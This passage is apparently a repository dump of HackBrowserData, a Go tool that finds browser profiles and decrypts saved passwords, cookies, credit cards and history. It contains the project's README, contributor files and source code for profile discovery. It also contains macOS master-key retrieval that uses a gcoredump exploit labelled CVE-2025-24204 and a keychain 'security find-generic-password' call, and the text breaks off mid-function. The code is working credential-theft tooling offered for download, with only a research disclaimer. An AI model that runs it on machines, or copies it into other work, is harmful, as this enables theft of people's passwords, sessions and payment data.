This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.

Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).

[homepage]: https://www.contributor-covenant.org

For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.


================================================
FILE: CONTRIBUTING.md
================================================
# Contributing to HackBrowserData

We appreciate your interest in contributing to the HackBrowserData! This document provides some basic guidelines for contributors.

## Getting Started

- Always base your work from the `dev` branch, which is the development branch with the latest code.
- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one.
- Include the problem description in the issue.

## Pull Requests

When creating a PR, please follow these guidelines:

- Link your PR to the corresponding issue.
- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be.
- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible.
- Include steps for functional testing or replication.
- If you're adding a new feature, make sure to include unit tests.

## Code Style

Please adhere to the existing coding style for consistency.

## Questions

If you have any questions or need further guidance, please feel free to ask in the issue or PR, or [reach out to the maintainers](mailto:i@moond4rk.com). We will reply to you as soon as possible.

Thank you for your contribution!



================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2020 ᴍᴏᴏɴᴅᴀʀᴋ

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
<div align="center">
<img src="LOGO.png" alt="hack-browser-data logo" width="440px" />
</div> 

# HackBrowserData

[![Lint](https://github.com/moonD4rk/HackBrowserData/actions/workflows/lint.yml/badge.svg)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/lint.yml) [![Build](https://github.com/moonD4rk/HackBrowserData/actions/workflows/build.yml/badge.svg)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/build.yml) [![Release](https://github.com/moonD4rk/HackBrowserData/actions/workflows/release.yml/badge.svg)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/release.yml) [![Tests](https://github.com/moonD4rk/HackBrowserData/actions/workflows/test.yml/badge.svg?branch=main)](https://github.com/moonD4rk/HackBrowserData/actions/workflows/test.yml) [![Coverage Status](https://coveralls.io/repos/github/moonD4rk/HackBrowserData/badge.svg)](https://coveralls.io/github/moonD4rk/HackBrowserData)

`HackBrowserData` is a command-line tool for decrypting and exporting browser data (passwords, history, cookies, bookmarks, credit cards, download history, localStorage and extensions) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.

> Disclaimer: This tool is only intended for security research. Users are responsible for all legal and related liabilities resulting from the use of this tool. The original author does not assume any legal responsibility.

## Recent Updates

### Firefox 144+ Support

HackBrowserData now supports decryption of saved passwords in Firefox 144 and later versions.

Starting from Firefox 144, Mozilla migrated password encryption from 3DES to AES-256-CBC to enhance security. HackBrowserData has been updated accordingly and remains fully compatible with the latest Firefox encryption scheme.

For more details:
- [Firefox 144.0 Release Notes](https://www.firefox.com/en-US/firefox/144.0/releasenotes/)
- [How Firefox securely saves passwords](https://support.mozilla.org/en-US/kb/how-firefox-securely-saves-passwords)


## Supported Browser

### Windows
| Browser            | Password | Cookie | Bookmark | History |
|:-------------------|:--------:|:------:|:--------:|:-------:|
| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |
| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |
| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |
| Microsoft Edge     |    ✅     |   ✅    |    ✅     |    ✅    |
| 360 Speed          |    ✅     |   ✅    |    ✅     |    ✅    |
| QQ                 |    ✅     |   ✅    |    ✅     |    ✅    |
| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |
| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |
| OperaGX            |    ✅     |   ✅    |    ✅     |    ✅    |
| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |
| Yandex             |    ✅     |   ✅    |    ✅     |    ✅    |
| CocCoc             |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |
| Internet Explorer  |    ❌     |   ❌    |    ❌     |    ❌    |


### MacOS

Based on Apple's security policy, some browsers **require a current user password** to decrypt.

| Browser            | Password | Cookie | Bookmark | History |
|:-------------------|:--------:|:------:|:--------:|:-------:|
| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |
| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |
| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |
| Microsoft Edge     |    ✅     |   ✅    |    ✅     |    ✅    |
| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |
| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |
| OperaGX            |    ✅     |   ✅    |    ✅     |    ✅    |
| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |
| CocCoc             |    ✅     |   ✅    |    ✅     |    ✅    |
| Yandex             |    ✅     |   ✅    |    ✅     |    ✅    |
| Arc                |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |
| Safari             |    ❌     |   ❌    |    ❌     |    ❌    |

### Linux

| Browser            | Password | Cookie | Bookmark | History |
|:-------------------|:--------:|:------:|:--------:|:-------:|
| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |
| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |
| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |
| Microsoft Edge Dev |    ✅     |   ✅    |    ✅     |    ✅    |
| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |
| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |
| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |
| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |


## Getting started

### Install

Installation of `HackBrowserData` is dead-simple, just download [the release for your system](https://github.com/moonD4rk/HackBrowserData/releases) and run the binary.

> In some situations, this security tool will be treated as a virus by Windows Defender or other antivirus software and can not be executed. The code is all open source, you can modify and compile by yourself.

### Building from source

only support `go 1.20+` with go generics.

```bash
$ git clone https://github.com/moonD4rk/HackBrowserData

$ cd HackBrowserData/cmd/hack-browser-data

$ go build
```

### Cross compile

Here's an example of use `macOS` building for `Windows` and `Linux`

#### For Windows

```shell
GOOS=windows GOARCH=amd64 go build
```

#### For Linux

````shell
GOOS=linux GOARCH=amd64 go build
````

### Run

You can double-click to run, or use command line.

```powershell
PS C:\Users\moond4rk\Desktop> .\hack-browser-data.exe -h
NAME:
   hack-browser-data - Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser
USAGE:
   [hack-browser-data -b chrome -f json --dir results --zip]
   Export all browsing data (passwords/cookies/history/bookmarks) from browser
   Github Link: https://github.com/moonD4rk/HackBrowserData
VERSION:
   0.4.6

GLOBAL OPTIONS:
   --verbose, --vv                   verbose (default: false)
   --compress, --zip                 compress result to zip (default: false)
   --browser value, -b value         available browsers: all|360|brave|chrome|chrome-beta|chromium|coccoc|dc|edge|firefox|opera|opera-gx|qq|sogou|vivaldi|yandex (default: "all")
   --results-dir value, --dir value  export dir (default: "results")
   --format value, -f value          output format: csv|json (default: "csv")
   --profile-path value, -p value    custom profile dir path, get with chrome://version
   --full-export, --full             is export full browsing data (default: true)
   --help, -h                        show help
   --version, -v                     print the version

```

For example, the following is an automatic scan of the browser on the current computer, outputting the decryption results in `JSON` format and compressing as `zip`.

```powershell
PS C:\Users\moond4rk\Desktop> .\hack-browser-data.exe -b all -f json --dir results --zip

PS C:\Users\moond4rk\Desktop> ls -l .\results\
    Directory: C:\Users\moond4rk\Desktop\results
    
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/15/2024  10:55 PM          44982 results.zip
```


### Run with custom browser profile folder

If you want to export data from a custom browser profile folder, you can use the `-p` parameter to specify the path of the browser profile folder. PS: use double quotes to wrap the path.
```powershell
PS C:\Users\moond4rk\Desktop> .\hack-browser-data.exe -b chrome -p "C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default"

[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_creditcard.csv success  
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_bookmark.csv success  
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_cookie.csv success  
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_history.csv success  
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_download.csv success  
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_password.csv success  
```

## Contributing

We welcome and appreciate any contributions made by the community (GitHub issues/pull requests, email feedback, etc.).

Please see the [Contribution Guide](CONTRIBUTING.md) before contributing.


## Contributors

![](/CONTRIBUTORS.svg)

## Stargazers over time
[![Star History Chart](https://api.star-history.com/svg?repos=moond4rk/hackbrowserdata&type=Date)](https://github.com/moond4rk/HackBrowserData)


## 404StarLink 2.0 - Galaxy
`HackBrowserData` is a part of 404Team [StarLink-Galaxy](https://github.com/knownsec/404StarLink2.0-Galaxy), if you have any questions about `HackBrowserData` or want to find a partner to communicate with,please refer to the [Starlink group](https://github.com/knownsec/404StarLink2.0-Galaxy#community).
<a href="https://github.com/knownsec/404StarLink2.0-Galaxy" target="_blank"><img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" align="middle"/></a>

##  JetBrains OS licenses
``HackBrowserData`` had been being developed with `GoLand` IDE under the **free JetBrains Open Source license(s)** granted by JetBrains s.r.o., hence I would like to express my thanks here.

<a href="https://www.jetbrains.com/?from=HackBrowserData" target="_blank"><img src="https://raw.githubusercontent.com/moonD4rk/staticfiles/master/picture/jetbrains-variant-4.png" width="256" align="middle"/></a>



================================================
FILE: browser/browser.go
================================================
package browser

import (
	"path/filepath"
	"sort"
	"strings"

	"github.com/moond4rk/hackbrowserdata/browser/chromium"
	"github.com/moond4rk/hackbrowserdata/browser/firefox"
	"github.com/moond4rk/hackbrowserdata/browserdata"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

type Browser interface {
	// Name is browser's name
	Name() string
	// BrowsingData returns all browsing data in the browser.
	BrowsingData(isFullExport bool) (*browserdata.BrowserData, error)
}

// PickBrowsers returns a list of browsers that match the name and profile.
func PickBrowsers(name, profile string) ([]Browser, error) {
	var browsers []Browser
	clist := pickChromium(name, profile)
	for _, b := range clist {
		if b != nil {
			browsers = append(browsers, b)
		}
	}
	flist := pickFirefox(name, profile)
	for _, b := range flist {
		if b != nil {
			browsers = append(browsers, b)
		}
	}
	return browsers, nil
}

func pickChromium(name, profile string) []Browser {
	var browsers []Browser
	name = strings.ToLower(name)
	if name == "all" {
		for _, v := range chromiumList {
			if !fileutil.IsDirExists(filepath.Clean(v.profilePath)) {
				log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
				continue
			}
			multiChromium, err := chromium.New(v.name, v.storage, v.profilePath, v.dataTypes)
			if err != nil {
				log.Errorf("new chromium error %v", err)
				continue
			}
			for _, b := range multiChromium {
				log.Warnf("find browser success, browser %s", b.Name())
				browsers = append(browsers, b)
			}
		}
	}
	if c, ok := chromiumList[name]; ok {
		if profile == "" {
			profile = c.profilePath
		}
		if !fileutil.IsDirExists(filepath.Clean(profile)) {
			log.Errorf("find browser failed, profile folder does not exist, browser %s", c.name)
		}
		chromes, err := chromium.New(c.name, c.storage, profile, c.dataTypes)
		if err != nil {
			log.Errorf("new chromium error %v", err)
		}
		for _, chrome := range chromes {
			log.Warnf("find browser success, browser %s", chrome.Name())
			browsers = append(browsers, chrome)
		}
	}
	return browsers
}

func pickFirefox(name, profile string) []Browser {
	var browsers []Browser
	name = strings.ToLower(name)
	if name == "all" || name == "firefox" {
		for _, v := range firefoxList {
			if profile == "" {
				profile = v.profilePath
			} else {
				profile = fileutil.ParentDir(profile)
			}

			if !fileutil.IsDirExists(filepath.Clean(profile)) {
				log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
				continue
			}

			if multiFirefox, err := firefox.New(profile, v.dataTypes); err == nil {
				for _, b := range multiFirefox {
					log.Warnf("find browser success, browser %s", b.Name())
					browsers = append(browsers, b)
				}
			} else {
				log.Errorf("new firefox error %v", err)
			}
		}

		return browsers
	}

	return nil
}

func ListBrowsers() []string {
	var l []string
	l = append(l, typeutil.Keys(chromiumList)...)
	l = append(l, typeutil.Keys(firefoxList)...)
	sort.Strings(l)
	return l
}

func Names() string {
	return strings.Join(ListBrowsers(), "|")
}


================================================
FILE: browser/browser_darwin.go
================================================
//go:build darwin

package browser

import (
	"github.com/moond4rk/hackbrowserdata/types"
)

var (
	chromiumList = map[string]struct {
		name        string
		storage     string
		profilePath string
		dataTypes   []types.DataType
	}{
		"chrome": {
			name:        chromeName,
			storage:     chromeStorageName,
			profilePath: chromeProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"edge": {
			name:        edgeName,
			storage:     edgeStorageName,
			profilePath: edgeProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"chromium": {
			name:        chromiumName,
			storage:     chromiumStorageName,
			profilePath: chromiumProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"chrome-beta": {
			name:        chromeBetaName,
			storage:     chromeBetaStorageName,
			profilePath: chromeBetaProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"opera": {
			name:        operaName,
			profilePath: operaProfilePath,
			storage:     operaStorageName,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"opera-gx": {
			name:        operaGXName,
			profilePath: operaGXProfilePath,
			storage:     operaStorageName,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"vivaldi": {
			name:        vivaldiName,
			storage:     vivaldiStorageName,
			profilePath: vivaldiProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"coccoc": {
			name:        coccocName,
			storage:     coccocStorageName,
			profilePath: coccocProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"brave": {
			name:        braveName,
			profilePath: braveProfilePath,
			storage:     braveStorageName,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"yandex": {
			name:        yandexName,
			storage:     yandexStorageName,
			profilePath: yandexProfilePath,
			dataTypes:   types.DefaultYandexTypes,
		},
		"arc": {
			name:        arcName,
			profilePath: arcProfilePath,
			storage:     arcStorageName,
			dataTypes:   types.DefaultChromiumTypes,
		},
	}
	firefoxList = map[string]struct {
		name        string
		storage     string
		profilePath string
		dataTypes   []types.DataType
	}{
		"firefox": {
			name:        firefoxName,
			profilePath: firefoxProfilePath,
			dataTypes:   types.DefaultFirefoxTypes,
		},
	}
)

var (
	chromeProfilePath     = homeDir + "/Library/Application Support/Google/Chrome/Default/"
	chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/"
	chromiumProfilePath   = homeDir + "/Library/Application Support/Chromium/Default/"
	edgeProfilePath       = homeDir + "/Library/Application Support/Microsoft Edge/Default/"
	braveProfilePath      = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/"
	operaProfilePath      = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/"
	operaGXProfilePath    = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/"
	vivaldiProfilePath    = homeDir + "/Library/Application Support/Vivaldi/Default/"
	coccocProfilePath     = homeDir + "/Library/Application Support/Coccoc/Default/"
	yandexProfilePath     = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/"
	arcProfilePath        = homeDir + "/Library/Application Support/Arc/User Data/Default"

	firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)

const (
	chromeStorageName     = "Chrome"
	chromeBetaStorageName = "Chrome"
	chromiumStorageName   = "Chromium"
	edgeStorageName       = "Microsoft Edge"
	braveStorageName      = "Brave"
	operaStorageName      = "Opera"
	vivaldiStorageName    = "Vivaldi"
	coccocStorageName     = "CocCoc"
	yandexStorageName     = "Yandex"
	arcStorageName        = "Arc"
)


================================================
FILE: browser/browser_linux.go
================================================
//go:build linux

package browser

import (
	"github.com/moond4rk/hackbrowserdata/types"
)

var (
	chromiumList = map[string]struct {
		name        string
		storage     string
		profilePath string
		dataTypes   []types.DataType
	}{
		"chrome": {
			name:        chromeName,
			storage:     chromeStorageName,
			profilePath: chromeProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"edge": {
			name:        edgeName,
			storage:     edgeStorageName,
			profilePath: edgeProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"chromium": {
			name:        chromiumName,
			storage:     chromiumStorageName,
			profilePath: chromiumProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"chrome-beta": {
			name:        chromeBetaName,
			storage:     chromeBetaStorageName,
			profilePath: chromeBetaProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"opera": {
			name:        operaName,
			profilePath: operaProfilePath,
			storage:     operaStorageName,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"vivaldi": {
			name:        vivaldiName,
			storage:     vivaldiStorageName,
			profilePath: vivaldiProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"brave": {
			name:        braveName,
			profilePath: braveProfilePath,
			storage:     braveStorageName,
			dataTypes:   types.DefaultChromiumTypes,
		},
	}
	firefoxList = map[string]struct {
		name        string
		storage     string
		profilePath string
		dataTypes   []types.DataType
	}{
		"firefox": {
			name:        firefoxName,
			profilePath: firefoxProfilePath,
			dataTypes:   types.DefaultFirefoxTypes,
		},
	}
)

var (
	firefoxProfilePath    = homeDir + "/.mozilla/firefox/"
	chromeProfilePath     = homeDir + "/.config/google-chrome/Default/"
	chromiumProfilePath   = homeDir + "/.config/chromium/Default/"
	edgeProfilePath       = homeDir + "/.config/microsoft-edge/Default/"
	braveProfilePath      = homeDir + "/.config/BraveSoftware/Brave-Browser/Default/"
	chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/Default/"
	operaProfilePath      = homeDir + "/.config/opera/Default/"
	vivaldiProfilePath    = homeDir + "/.config/vivaldi/Default/"
)

const (
	chromeStorageName     = "Chrome Safe Storage"
	chromiumStorageName   = "Chromium Safe Storage"
	edgeStorageName       = "Chromium Safe Storage"
	braveStorageName      = "Brave Safe Storage"
	chromeBetaStorageName = "Chrome Safe Storage"
	operaStorageName      = "Chromium Safe Storage"
	vivaldiStorageName    = "Chrome Safe Storage"
)


================================================
FILE: browser/browser_windows.go
================================================
//go:build windows

package browser

import (
	"github.com/moond4rk/hackbrowserdata/types"
)

var (
	chromiumList = map[string]struct {
		name        string
		profilePath string
		storage     string
		dataTypes   []types.DataType
	}{
		"chrome": {
			name:        chromeName,
			profilePath: chromeUserDataPath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"edge": {
			name:        edgeName,
			profilePath: edgeProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"chromium": {
			name:        chromiumName,
			profilePath: chromiumUserDataPath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"chrome-beta": {
			name:        chromeBetaName,
			profilePath: chromeBetaUserDataPath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"opera": {
			name:        operaName,
			profilePath: operaProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"opera-gx": {
			name:        operaGXName,
			profilePath: operaGXProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"vivaldi": {
			name:        vivaldiName,
			profilePath: vivaldiProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"coccoc": {
			name:        coccocName,
			profilePath: coccocProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"brave": {
			name:        braveName,
			profilePath: braveProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"yandex": {
			name:        yandexName,
			profilePath: yandexProfilePath,
			dataTypes:   types.DefaultYandexTypes,
		},
		"360": {
			name:        speed360Name,
			profilePath: speed360ProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"qq": {
			name:        qqBrowserName,
			profilePath: qqBrowserProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"dc": {
			name:        dcBrowserName,
			profilePath: dcBrowserProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
		"sogou": {
			name:        sogouName,
			profilePath: sogouProfilePath,
			dataTypes:   types.DefaultChromiumTypes,
		},
	}
	firefoxList = map[string]struct {
		name        string
		storage     string
		profilePath string
		dataTypes   []types.DataType
	}{
		"firefox": {
			name:        firefoxName,
			profilePath: firefoxProfilePath,
			dataTypes:   types.DefaultFirefoxTypes,
		},
	}
)

var (
	chromeUserDataPath     = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
	chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
	chromiumUserDataPath   = homeDir + "/AppData/Local/Chromium/User Data/Default/"
	edgeProfilePath        = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
	braveProfilePath       = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
	speed360ProfilePath    = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
	qqBrowserProfilePath   = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
	operaProfilePath       = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
	operaGXProfilePath     = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
	vivaldiProfilePath     = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
	coccocProfilePath      = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
	yandexProfilePath      = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
	dcBrowserProfilePath   = homeDir + "/AppData/Local/DCBrowser/User Data/Default/"
	sogouProfilePath       = homeDir + "/AppData/Roaming/SogouExplorer/Webkit/Default/"

	firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
)


================================================
FILE: browser/chromium/chromium.go
================================================
package chromium

import (
	"io/fs"
	"os"
	"path/filepath"
	"strings"

	"github.com/moond4rk/hackbrowserdata/browserdata"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

type Chromium struct {
	name        string
	storage     string
	profilePath string
	masterKey   []byte
	dataTypes   []types.DataType
	Paths       map[types.DataType]string
}

// New create instance of Chromium browser, fill item's path if item is existed.
func New(name, storage, profilePath string, dataTypes []types.DataType) ([]*Chromium, error) {
	c := &Chromium{
		name:        name,
		storage:     storage,
		profilePath: profilePath,
		dataTypes:   dataTypes,
	}
	multiDataTypePaths, err := c.userDataTypePaths(c.profilePath, c.dataTypes)
	if err != nil {
		return nil, err
	}
	chromiumList := make([]*Chromium, 0, len(multiDataTypePaths))
	for user, itemPaths := range multiDataTypePaths {
		chromiumList = append(chromiumList, &Chromium{
			name:      fileutil.BrowserName(name, user),
			dataTypes: typeutil.Keys(itemPaths),
			Paths:     itemPaths,
			storage:   storage,
		})
	}
	return chromiumList, nil
}

func (c *Chromium) Name() string {
	return c.name
}

func (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
	// delete chromiumKey from dataTypes, doesn't need to export key
	var dataTypes []types.DataType
	for _, dt := range c.dataTypes {
		if dt != types.ChromiumKey {
			dataTypes = append(dataTypes, dt)
		}
	}

	if !isFullExport {
		dataTypes = types.FilterSensitiveItems(c.dataTypes)
	}

	data := browserdata.New(dataTypes)

	if err := c.copyItemToLocal(); err != nil {
		return nil, err
	}

	masterKey, err := c.GetMasterKey()
	if err != nil {
		return nil, err
	}

	c.masterKey = masterKey
	if err := data.Recovery(c.masterKey); err != nil {
		return nil, err
	}

	return data, nil
}

func (c *Chromium) copyItemToLocal() error {
	for i, path := range c.Paths {
		filename := i.TempFilename()
		var err error
		switch {
		case fileutil.IsDirExists(path):
			if i == types.ChromiumLocalStorage {
				err = fileutil.CopyDir(path, filename, "lock")
			}
			if i == types.ChromiumSessionStorage {
				err = fileutil.CopyDir(path, filename, "lock")
			}
		default:
			err = fileutil.CopyFile(path, filename)
		}
		if err != nil {
			log.Errorf("copy item to local, path %s, filename %s err %v", path, filename, err)
			continue
		}
	}
	return nil
}

// userDataTypePaths return a map of user to item path, map[profile 1][item's name & path key pair]
func (c *Chromium) userDataTypePaths(profilePath string, items []types.DataType) (map[string]map[types.DataType]string, error) {
	multiItemPaths := make(map[string]map[types.DataType]string)
	parentDir := fileutil.ParentDir(profilePath)
	err := filepath.Walk(parentDir, chromiumWalkFunc(items, multiItemPaths))
	if err != nil {
		return nil, err
	}
	var keyPath string
	var dir string
	for userDir, profiles := range multiItemPaths {
		for _, profile := range profiles {
			if strings.HasSuffix(profile, types.ChromiumKey.Filename()) {
				keyPath = profile
				dir = userDir
				break
			}
		}
	}
	t := make(map[string]map[types.DataType]string)
	for userDir, v := range multiItemPaths {
		if userDir == dir {
			continue
		}
		t[userDir] = v
		t[userDir][types.ChromiumKey] = keyPath
		fillLocalStoragePath(t[userDir], types.ChromiumLocalStorage)
	}
	return t, nil
}

// chromiumWalkFunc return a filepath.WalkFunc to find item's path
func chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) filepath.WalkFunc {
	return func(path string, info fs.FileInfo, err error) error {
		if err != nil {
			if os.IsPermission(err) {
				log.Warnf("skipping walk chromium path permission error, path %s, err %v", path, err)
				return nil
			}
			return err
		}
		for _, v := range items {
			if info.Name() != v.Filename() {
				continue
			}
			if strings.Contains(path, "System Profile") {
				continue
			}
			if strings.Contains(path, "Snapshot") {
				continue
			}
			if strings.Contains(path, "def") {
				continue
			}
			profileFolder := fileutil.ParentBaseDir(path)
			if strings.Contains(filepath.ToSlash(path), "/Network/Cookies") {
				profileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), "/Network/Cookies", ""))
			}
			if _, exist := multiItemPaths[profileFolder]; exist {
				multiItemPaths[profileFolder][v] = path
			} else {
				multiItemPaths[profileFolder] = map[types.DataType]string{v: path}
			}
		}
		return nil
	}
}

func fillLocalStoragePath(itemPaths map[types.DataType]string, storage types.DataType) {
	if p, ok := itemPaths[types.ChromiumHistory]; ok {
		lsp := filepath.Join(filepath.Dir(p), storage.Filename())
		if fileutil.IsDirExists(lsp) {
			itemPaths[types.ChromiumLocalStorage] = lsp
		}
	}
}


================================================
FILE: browser/chromium/chromium_darwin.go
================================================
//go:build darwin

package chromium

import (
	"bytes"
	"crypto/sha1"
	"errors"
	"fmt"
	"os"
	"os/exec"
	"strings"

	"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
	"github.com/moond4rk/hackbrowserdata/crypto"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
)

var (
	errWrongSecurityCommand   = errors.New("wrong security command")
	errCouldNotFindInKeychain = errors.New("could not be find in keychain")
)

func (c *Chromium) GetMasterKey() ([]byte, error) {
	// don't need chromium key file for macOS
	defer os.Remove(types.ChromiumKey.TempFilename())

	// Try get the master key via gcoredump(CVE-2025-24204)
	secret, err := gcoredump.DecryptKeychain(c.storage)
	if err == nil && secret != "" {
		log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
		if key, err := c.parseSecret([]byte(secret)); err == nil {
			return key, nil
		}
	} else {
		log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
	}

	// Get the master key from the keychain
	// $ security find-generic-password -wa 'Chrome'
	var (
		stdout, stderr bytes.Buffer
	)
	cmd := exec.Command("security", "find-generic-password", "-wa", strings.TrimSpace(c.storage)) //nolint:gosec
	cmd.Stdout = &stdout
	cmd.Stderr = &stderr
	if err := cmd.Run(); err != nil {
		return nil, fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
	}

	if stderr.Len() > 0 {
